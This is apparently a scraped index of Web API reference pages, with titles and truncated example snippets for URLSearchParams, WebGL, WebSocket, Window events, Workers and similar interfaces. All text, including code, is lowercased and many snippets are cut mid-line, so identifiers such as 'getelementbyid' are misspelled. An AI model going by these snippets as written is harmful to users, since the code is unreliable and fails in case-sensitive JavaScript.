examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
URLSearchParams.getAll() - Web APIs
params.append('foo', 4); console.log(params.getall('foo')) //prints ["1","4"].
URLSearchParams.keys() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the keys for(var key of searchparams.keys()) { console.log(key); } the result is: key1 key2 specifications specification status comment urlthe definition of 'keys() (see "iterable")' in that specification.
URLSearchParams.sort() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("c=4&a=2&b=3&a=1"); // sort the key/value pairs searchparams.sort(); // display the sorted query string console.log(searchparams.tostring()); the result is: a=2&a=1&b=3&c=4 specifications specification status comment urlthe definition of 'sort()' in that specification.
URLSearchParams.toString() - Web APIs
params.append('foo', 4); console.log(params.tostring()); //prints 'foo=1&bar=2&foo=4' // note: params can also be directly created let url = new url('https://example.com?foo=1&bar=2'); let params = url.searchparams; // or even simpler let params = new urlsearchparams('foo=1&bar=2'); specifications specification status comment urlthe definition of 'tostring() (see "stringifier")' in that specification.
URLSearchParams.values() - Web APIs
examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the values for(var value of searchparams.values()) { console.log(value); } the result is: value1 value2 specifications specification status comment urlthe definition of 'values() (see "iterable")' in that specification.
USB.getDevices() - Web APIs
WebAPIUSBgetDevices
navigator.usb.getdevices() .then(devices => { console.log("total devices: " + devices.length); devices.foreach(device => { console.log("product name: " + device.productname + ", serial number " + device.serialnumber); }); }); specifications specification status comment webusbthe definition of 'getdevices' in that specification.
VTTCue - Web APIs
WebAPIVTTCue
example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显�...
validityState.badInput - Web APIs
example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("content of input ok."); } specifications specification status comment html living standardthe definition of 'validitystate.badinput' in that specification.
ValidityState.patternMismatch - Web APIs
examples given the following: <p> <label>enter your phone number in the format (123)456-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/> </label> </p> here we have 3 sections for a north american phone number with an...
ValidityState.rangeOverflow - Web APIs
given the following: <input type="number" min="20" max="40" step="2"/> if value > 40, rangeoverflow will be true.
ValidityState.rangeUnderflow - Web APIs
given the following: <input type="number" min="20" max="40" step="2"/> if value < 20, rangeunderflow will be true.
ValidityState.stepMismatch - Web APIs
given the following: <input type="number" min="20" max="40" step="2"/> if (value - min) / 2 != 0, stepmismatch will be true.
ValidityState.typeMismatch - Web APIs
type attribute conformance input type value expected value email x@y or x@y.z email address, with or without tld url x: or x://y.z protocol or full url with protocol examples given the following: <p> <label> enter an email address: <input type="email" value="example.com"/> </label> </p> <p> <label> enter a url: <input type="url" value="example.com"/> </label> </p> input:invalid { border: red solid 3px; } the above each produce a typemismatch because the email address is just a domain and the url has no protocol the typemismatch occurs when there is a disconnect between the value expected via the type attribute and th...
VideoConfiguration - Web APIs
examples // create media configuration to be tested const mediaconfig = { type : 'file', // see mediadecodingconfiguration and mediaencodingconfiguration video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if (quality.corruptedvideoframes/quality.totalvideoframes > 0.05) { downgradevideo(videoelem); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality: corruptedvideoframes' in that specification.
VideoPlaybackQuality.creationTime - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.corruptedvideoframes' in that specification.
VideoPlaybackQuality.droppedVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var percentelem = document.getelementbyid("percent"); var quality = videoelem.getvideoplaybackquality(); var droppercent = (quality.droppedvideoframes/quality.totalvideoframes)*100; percentelem.innertext = math.trunc(droppercent).tostring(10); specifications specification status comment media playback qualitythe definition of 'videoplaybackquality.droppedvideo...
VideoPlaybackQuality.totalVideoFrames - Web APIs
var videoelem = document.getelementbyid("my_vid"); var quality = videoelem.getvideoplaybackquality(); if ((quality.corruptedvideoframes + quality.droppedvideoframes)/quality.totalvideoframes > 0.1) { lostframesthresholdexceeded(); } a similar algorithm might be used to attempt to switch to a lower-resolution video that requires less bandwidth, in order to avoid dropping frames.
VideoTrackList.length - Web APIs
var videoelem = document.queryselector("video"); var numvideotracks = 0; if (videoelem.videotracks) { numvideotracks = videoelem.videotracks.length; } note that this sample checks to be sure htmlmediaelement.videotracks is defined, to avoid failing on browsers without support for videotrack.
VideoTrackList.onaddtrack - Web APIs
document.queryselector("video").videotracks.onaddtrack = function(event) { addtotracklist(event.track); }; specifications specification status comment html living standardthe definition of 'videotracklist: onaddtrack' in that specification.
VideoTrackList.onchange - Web APIs
var tracklist = document.queryselector("video").videotracks; tracklist.onchange = function(event) { tracklist.foreach(function(track) { updatetrackselectedbutton(track.id, track.selected); }); }; the updatetrackselectedbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's selected flag to determin...
VideoTrackList.onremovetrack - Web APIs
document.queryselector("my-video").videotracks.onremovetrack = function(event) { mytrackcount = document.queryselector("my-video").videotracks.length; }; the current number of video tracks remaining in the media element is obtained from videotracklist property length.
VideoTrackList - Web APIs
var videotracks = document.queryselector("video").videotracks; monitoring track count changes in this example, we have an app that displays information about the number of channels available.
VisualViewport - Web APIs
var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function resizehandler() { if (viewport.scale > 1.3) bottombar.style.display = "none"; else bottombar.style.display = "block"; } window.visualviewport.addeventlistener('resize', resizehandler); simulating position: device-fixed this example, also taken from the visual viewport readme, shows how to use this api to simulate position: device-fixed, which fixes elements to the visual viewport.
WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var shader = gl.createshader(gl.fragment_shader); gl.shadersource(shader, 'void main() { gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0); }'); gl.compileshader(shader); var src = gl.getextension('webgl_debug_shaders').gettranslatedshadersource(shader); console.log(src); // "void main(){ // (gl_fragcolor = vec4(gl_fragcoord.x, 0.0, 0.0, 1.0)); // }" specifications specification status comment webgl_debug_shadersthe definition of 'webgl_debug_shaders.gettranslatedshadersource' in that specification.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
without the "webgl" suffix.
WEBGL_lose_context.loseContext() - Web APIs
yntax gl.getextension('webgl_lose_context').losecontext(); examples with this method, you can simulate the webglcontextlost event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
WEBGL_lose_context - Web APIs
examples with this extension, you can simulate the webglcontextlost and webglcontextrestored events: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
WaveShaperNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor waveshapernode() creates a new instance of an waveshapernode object.
WebGL2RenderingContext.bindVertexArray() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
WebGL2RenderingContext.createVertexArray() - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
bone indices, interpreted as integer gl.vertexattribipointer(2, 4, gl.unsigned_byte, 20, 16); gl.enablevertexattribarray(2); //connect to attributes from the vertex shader gl.bindattriblocation(shaderprogram, 0, "position"); gl.bindattriblocation(shaderprogram, 1, "boneweights"); gl.bindattriblocation(shaderprogram, 2, "boneindices"); <script id="shader-vs" type="x-shader/x-vertex">#version 300 es uniform mat4 mvmatrix; uniform mat4 bones[120]; in vec3 position; in vec4 boneweights; in uvec4 boneindices;//read as 4-component unsigned integer void main() { vec4 skinnedposition = bones[bonei...
WebGL2RenderingContext - Web APIs
to get an object of this interface, call getcontext() on a <canvas> element, supplying "webgl2" as the argument: var canvas = document.getelementbyid('mycanvas'); var gl = canvas.getcontext('webgl2'); webgl 2 is an extension to webgl 1.
WebGLRenderingContext.activeTexture() - Web APIs
gl.activetexture(gl.texture0); gl.getparameter(gl.active_texture); // returns "33984" (0x84c0, gl.texture0 enum value) specifications specification status comment webgl 1.0the definition of 'activetexture' in that specification.
WebGLRenderingContext.bindAttribLocation() - Web APIs
this name cannot start with "webgl_" or "_webgl_", as these are reserved for use by webgl.
WebGLRenderingContext.canvas - Web APIs
examples canvas element given this <canvas> element: <canvas id="canvas"></canvas> you can get back a reference to it from the webglrenderingcontext using the canvas property: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.canvas; // htmlcanvaselement offscreen canvas example using the experimental offscreencanvas object.
WebGLRenderingContext.drawingBufferHeight - Web APIs
syntax gl.drawingbufferheight; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the height of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferheight; // 150 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferheight' in that specification.
WebGLRenderingContext.drawingBufferWidth - Web APIs
syntax gl.drawingbufferwidth; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the width of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferwidth; // 300 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferwidth' in that specification.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
gl.bindbuffer(gl.array_buffer, vertexbuffer); avertexposition = gl.getattriblocation(shaderprogram, "avertexposition"); gl.enablevertexattribarray(avertexposition); gl.vertexattribpointer(avertexposition, vertexnumcomponents, gl.float, false, 0, 0); gl.drawarrays(gl.triangles, 0, vertexcount); this code snippet is taken from the function animatescene() in "a basic 2d webgl animation example." see that article for the full sample and to see the resulting animation in action.
WebGLRenderingContext.getContextAttributes() - Web APIs
examples given this <canvas> element <canvas id="canvas"></canvas> and given this webgl context var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getcontextattributes(); the getcontextattributes method returns an object that describes the attributes set on this context, for example: { alpha: true, antialias: true, depth: true, failifmajorperformancecaveat: false, powerpreference: "default", pre...
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
examples const a_foobar = gl.getattriblocation(shaderprogram, 'foobar'); //either set each component individually: gl.vertexattrib3f(a_foobar, 10.0, 5.0, 2.0); //or provide a float32array: const floatarray = new float32array([10.0, 5.0, 2.0]); gl.vertexattrib3fv(a_foobar, floatarray); // we want to load the following 3x3 matrix into attribute named "matrix3x3" // 0 1 2 // 3 4 5 // 6 7 8 const matrix3x3location = gl.getattriblocation(shaderprogram, 'matrix3x3'); gl.vertexattrib3f(matrix3x3location, 0, 3, 6); gl.vertexattrib3f(matrix3x3location + 1, 1, 4, 7); gl.vertexattrib3f(matrix3x3location + 2, 2, 5, 8); specifications specification status comment webgl 1.0the definition of 'vertexattrib' in that specificatio...
WebGLVertexArrayObject - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
Boilerplate 1 - Web APIs
t seem to support html5 canvas.</canvas> css body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } javascript function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return null; } gl.viewport(0, 0, gl.draw...
Matrix math for the web - Web APIs
// create the matrix3d style property from a matrix array function matrixarraytocssmatrix(array) { return 'matrix3d(' + array.join(',') + ')'; } // grab the dom element let moveme = document.getelementbyid('move-me'); // returns a result like: "matrix3d(1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 50, 100, 0, 1);" let matrix3drule = matrixarraytocssmatrix(translationmatrix); // set the transform moveme.style.transform = matrix3drule; view on jsfiddle scale matrix a scale matrix makes something larger or smaller in one or more of the three dimensions: width, height, and depth.
Adding 2D content to a WebGL context - Web APIs
mat4.perspective(projectionmatrix, fieldofview, aspect, znear, zfar); // set the drawing position to the "identity" point, which is // the center of the scene.
Animating objects with WebGL - Web APIs
the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanimationframe(render); } requestanimationframe(render); this code uses requestanimationframe to ask the browser to call the function "render" on each frame.
Using WebGL extensions - Web APIs
naming conventions webgl extensions are prefixed with "angle", "oes", "ext" or "webgl".
WebGL: 2D and 3D graphics for the web - Web APIs
WebAPIWebGL API
see also the blog post "webgl 2 lands in firefox" and webglsamples.org/webgl2samples for a few demos.
WebRTC connectivity - Web APIs
relay a relay candidate is generated just like a server reflexive candidate ("srflx"), but using turn instead of stun.
WebRTC API - Web APIs
the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
WebSocket.onclose - Web APIs
WebAPIWebSocketonclose
syntax awebsocket.onclose = function(event) { console.log("websocket is closed now."); }; value an eventlistener.
WebSocket.onerror - Web APIs
WebAPIWebSocketonerror
example websocket.onerror = function(event) { console.error("websocket error observed:", event); }; specifications specification status comment html living standardthe definition of 'websocket: onerror' in that specification.
WebSocket.onmessage - Web APIs
syntax awebsocket.onmessage = function(event) { console.debug("websocket message received:", event); }; value an eventlistener.
WebSocket.onopen - Web APIs
WebAPIWebSocketonopen
syntax awebsocket.onopen = function(event) { console.log("websocket is open now."); }; value an eventlistener.
WebSocket.send() - Web APIs
WebAPIWebSocketsend
syntax websocket.send("hello server!"); parameters data the data to send to the server.
Fundamentals of WebXR - Web APIs
as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to start a new specification than to try to "fix" webvr.
Geometry and reference spaces in WebXR - Web APIs
the "interface" column in the table below indicates which of the two types is returned for each reference space type constant..
WebXR permissions and security - Web APIs
for example, if you have an "enter xr mode" button, and the user clicks it, calling requestsession() from the button's click event handler will permitted.
Attestation and Assertion - Web APIs
that is, all "samsung galaxy s8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate.
WheelEvent.deltaMode - Web APIs
syntax var unit = event.deltamode; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltamode); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltamode' in that specification.
WheelEvent.deltaX - Web APIs
WebAPIWheelEventdeltaX
syntax var dx = event.deltax; example var syntheticevent = new wheelevent("syntheticwheel", {"deltax": 4, "deltamode": 0}); console.log(syntheticevent.deltax); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltax' in that specification.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
WheelEvent.deltaZ - Web APIs
WebAPIWheelEventdeltaZ
syntax var dz = event.deltaz; example var syntheticevent = new wheelevent("syntheticwheel", {"deltaz": 4, "deltamode": 0}); console.log(syntheticevent.deltaz); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltaz' in that specification.
Window.alert() - Web APIs
WebAPIWindowalert
example window.alert("hello world!"); alert("hello world!"); both produce: notes the alert dialog should be used for messages which do not require any response on the part of the user, other than the acknowledgement of the message.
Window.back() - Web APIs
WebAPIWindowback
example this simple example handles a click on a "back" button by calling back().
Window: blur event - Web APIs
WebAPIWindowblur event
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.clearImmediate() - Web APIs
examples let immediateid = setimmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { clearimmediate(immediateid); }); specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
Window.confirm() - Web APIs
WebAPIWindowconfirm
example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.console - Web APIs
WebAPIWindowconsole
console.log("an error occurred while loading the content"); the next example logs an object to the console, with the object's fields expandable using disclosure widgets: console.dir(someobject); see usage in console for more thorough examples.
Window.crypto - Web APIs
WebAPIWindowcrypto
javascript genrandomnumbers = function getrandomnumbers() { var array = new uint32array(10); window.crypto.getrandomvalues(array); var randtext = document.getelementbyid("myrandtext"); randtext.innerhtml = "the random numbers are: " for (var i = 0; i < array.length; i++) { randtext.innerhtml += array[i] + " "; } } html <p id="myrandtext">the random numbers are: </p> <button type="button" onclick='genrandomnumbers()'>generate 10 random numbers</button> result specifications specification status comment web cryptography apithe...
Window: cut event - Web APIs
WebAPIWindowcut event
the cut event is fired when the user has initiated a "cut" action through the browser's user interface.
Window.defaultStatus - Web APIs
example <html> <body onload="window.defaultstatus='hello!';"/> <button onclick="window.confirm('are you sure you want to quit?');">confirm</button> </body> </html> notes to set the status once the window has been opened, use window.status.
Window: devicemotion event - Web APIs
} window.addeventlistener("devicemotion", handlemotionevent, true); specifications specification status deviceorientation event specificationthe definition of 'devicemotion event' in that specification.
Window: deviceorientation event - Web APIs
bubbles no cancelable no interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(frontto...
Window: error event - Web APIs
examples live example html <div class="controls"> <button id="script-error" type="button">generate script error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: cente...
Window: focus event - Web APIs
html <p id="log">click on this document to give it focus.</p> css .paused { background: #ddd; color: #555; } javascript function pause() { document.body.classlist.add('paused'); log.textcontent = 'focus lost!'; } function play() { document.body.classlist.remove('paused'); log.textcontent = 'this document has focus.
Window.fullScreen - Web APIs
WebAPIWindowfullScreen
notes switching between regular window and full screen will fire the "resize" event on the corresponding window.
Window.getComputedStyle() - Web APIs
originally, css 2.0 defined the computed values as the "ready to be used" final values of properties after cascading and inheritance, but css 2.1 redefined them as pre-layout, and used values as post-layout.
Window.getSelection() - Web APIs
when cast to string, either by appending an empty string ("") or using selection.tostring(), this object returns the text selected.
Window: hashchange event - Web APIs
interface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'hashchange' in that specification.
Window.isSecureContext - Web APIs
if (window.issecurecontext) { // page is a secure context so service workers are now available navigator.serviceworker.register("/offline-worker.js").then(function () { ...
Window.localStorage - Web APIs
(data in a localstorage object created in a "private browsing" or "incognito" session is cleared when the last "private" tab is closed.) data stored in either localstorage is specific to the protocol of the page.
Window.locationbar - Web APIs
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> var visible = window.locationbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> specifications specification status comment html living standardthe definition of 'window.locationbar' in that specification.
Window.name - Web APIs
WebAPIWindowname
syntax string = window.name; window.name = string; example <script> // open a tab with a specific browsing context name const othertab = window.open("url1", "_blank"); if (othertab) othertab.name = "other-tab"; </script> <a href="url2" target="other-tab">this link will be opened in the other tab.</a> notes the name of the window is used primarily for setting targets for hyperlinks and forms.
Window: offline event - Web APIs
bubbles no cancelable no interface event event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html living standardthe definition of 'offline event' in that specification.
Window.onappinstalled - Web APIs
the event that is fired is a "simple event" that implements the event interface.
Window: online event - Web APIs
bubbles no cancelable no interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe definition of 'online event' in that specification.
Window.onmozbeforepaint - Web APIs
the event handler receives as an input parameter an event whose timestamp property is the time, in milliseconds since epoch, that is the "current time" for the current animation frame.
Window.opener - Web APIs
WebAPIWindowopener
in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case this property will return null.
Window: orientationchange event - Web APIs
bubbles no cancelable no interface event event handler onorientationchange example you can use the orientationchange event in an addeventlistener method: window.addeventlistener("orientationchange", function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that speci...
Window: pagehide event - Web APIs
window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status ...
Window: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface.
Window: rejectionhandled event - Web APIs
bubbles no cancelable no interface promiserejectionevent event handler property onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification.
Window: resize event - Web APIs
<p>resize the browser window to fire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function reportwindowsize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = reportwindowsize; addeventlistener equivalent you could set up the even...
Window.scroll() - Web APIs
WebAPIWindowscroll
examples <!-- put the 100th vertical pixel at the top of the window --> <button onclick="scroll(0, 100);">click to scroll down 100 pixels</button> using options: window.scroll({ top: 100, left: 100, behavior: 'smooth' }); notes window.scrollto() is effectively the same as this method.
Window.scrollByLines() - Web APIs
example <!-- scroll up the document by 5 lines --> <button id="scroll-up" onclick="scrollbylines(-5);">up 5 lines</button> <!-- scroll down the document by 5 lines --> <button id="scroll-down" onclick="scrollbylines(5);">down 5 lines</button> specification this is not part of any specification.
Window.scrollY - Web APIs
WebAPIWindowscrollY
a fully compatible example: var supportpageoffset = window.pagexoffset !== undefined; var iscss1compat = ((document.compatmode || "") === "css1compat"); var x = supportpageoffset ?
Window.setCursor() - Web APIs
WebAPIWindowsetCursor
"wait" : "auto"); } notes the cursor isn't reset until it's set back to auto.
Window: unhandledrejection event - Web APIs
window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; preventing default handling many environments (such as node.js) report unhandled promise re...
Window: unload event - Web APIs
examples <!doctype html> <html> <head> <title>parent frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 1st one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 3rd one.'); }); </script> </head> <body> <iframe src="child-frame.html"></iframe> </body> </html> below, the content of child-frame.html: <!doctype html> <html> <head> <title>child frame</title> <script> window.addeventlistener('beforeunload', function(event) { console.log('i am the 2nd one.'); }); window.addeventlistener('unload', function(event) { console.log('i am the 4th and last one…'); });...
WindowClient.focus() - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'focus()...
WindowClient.focused - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment ...
WindowEventHandlers.onafterprint - Web APIs
syntax window.addeventlistener("afterprint", function(event) { ...
WindowEventHandlers.onbeforeprint - Web APIs
syntax window.addeventlistener("beforeprint", function(event) { ...
WindowEventHandlers.onbeforeunload - Web APIs
syntax window.addeventlistener("beforeunload", function(event) { ...
WindowEventHandlers.onrejectionhandled - Web APIs
syntax window.addeventlistener("rejectionhandled", function(event) { ...
WindowEventHandlers.onunload - Web APIs
syntax window.addeventlistener("unload", function(event) { ...
WindowOrWorkerGlobalScope.atob() - Web APIs
for use with unicode or utf-8 strings, see the note on "unicode strings" in the page for btoa().
WindowOrWorkerGlobalScope.origin - Web APIs
via file:// url), origin will return the string "null".
Worker: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts message...
Worker: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples create a worker, and listen for message and messageerror events using addeventlistener(): // inside main.js const worker = new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker = new worker("static/scripts/worker.js")...
Worker - Web APIs
WebAPIWorker
creating a worker is done by calling the worker("path/to/worker/script") constructor.
WorkerGlobalScope.dump() - Web APIs
next, run a worker containing the following line: dump('test\n'); this should result in a "test" message being output to the terminal.
WorkerGlobalScope.location - Web APIs
ou called the following in a document served at localhost:8000 console.log(location); inside a worker (which would basically be the equivalent of self.console.log(self.location);, as these are being called on the worker scope, which can be referenced with workerglobalscope.self), you will get a workerlocation object written to the console — something like the following: workerlocation {hash: "", search: "", pathname: "/worker.js", port: "8000", hostname: "localhost"…} hash: "" host: "localhost:8000" hostname: "localhost" href: "http://localhost:8000/worker.js" origin: "http://localhost:8000" pathname: "/worker.js" port: "8000" protocol: "http:" search: "" __proto__: workerlocation you could use this location object to return more information about the document's ...
WorkerGlobalScope.self - Web APIs
ame type as that worker object written to the console — something like the following: dedicatedworkerglobalscope { undefined: undefined, infinity: infinity, math: mathconstructor, nan: nan, intl: object…} infinity: infinity array: function array() { [native code] } arguments: null caller: null isarray: function isarray() { [native code] } length: 1 name: "array" observe: function observe() { [native code] } prototype: array[0] unobserve: function unobserve() { [native code] } __proto__: function empty() {} <function scope> arraybuffer: function arraybuffer() { [native code] } blob: function blob() { [native code] } boolean: function boolean() { [native code] } dataview: function dataview() { [native cod...
XDomainRequest.abort() - Web APIs
syntax xdr.abort(); example var xdr = new xdomainrequest(); xdr.open("get", "http://example.com/api/method"); xdr.send(); xdr.abort(); specification not part of any specification.
XDomainRequest.onerror - Web APIs
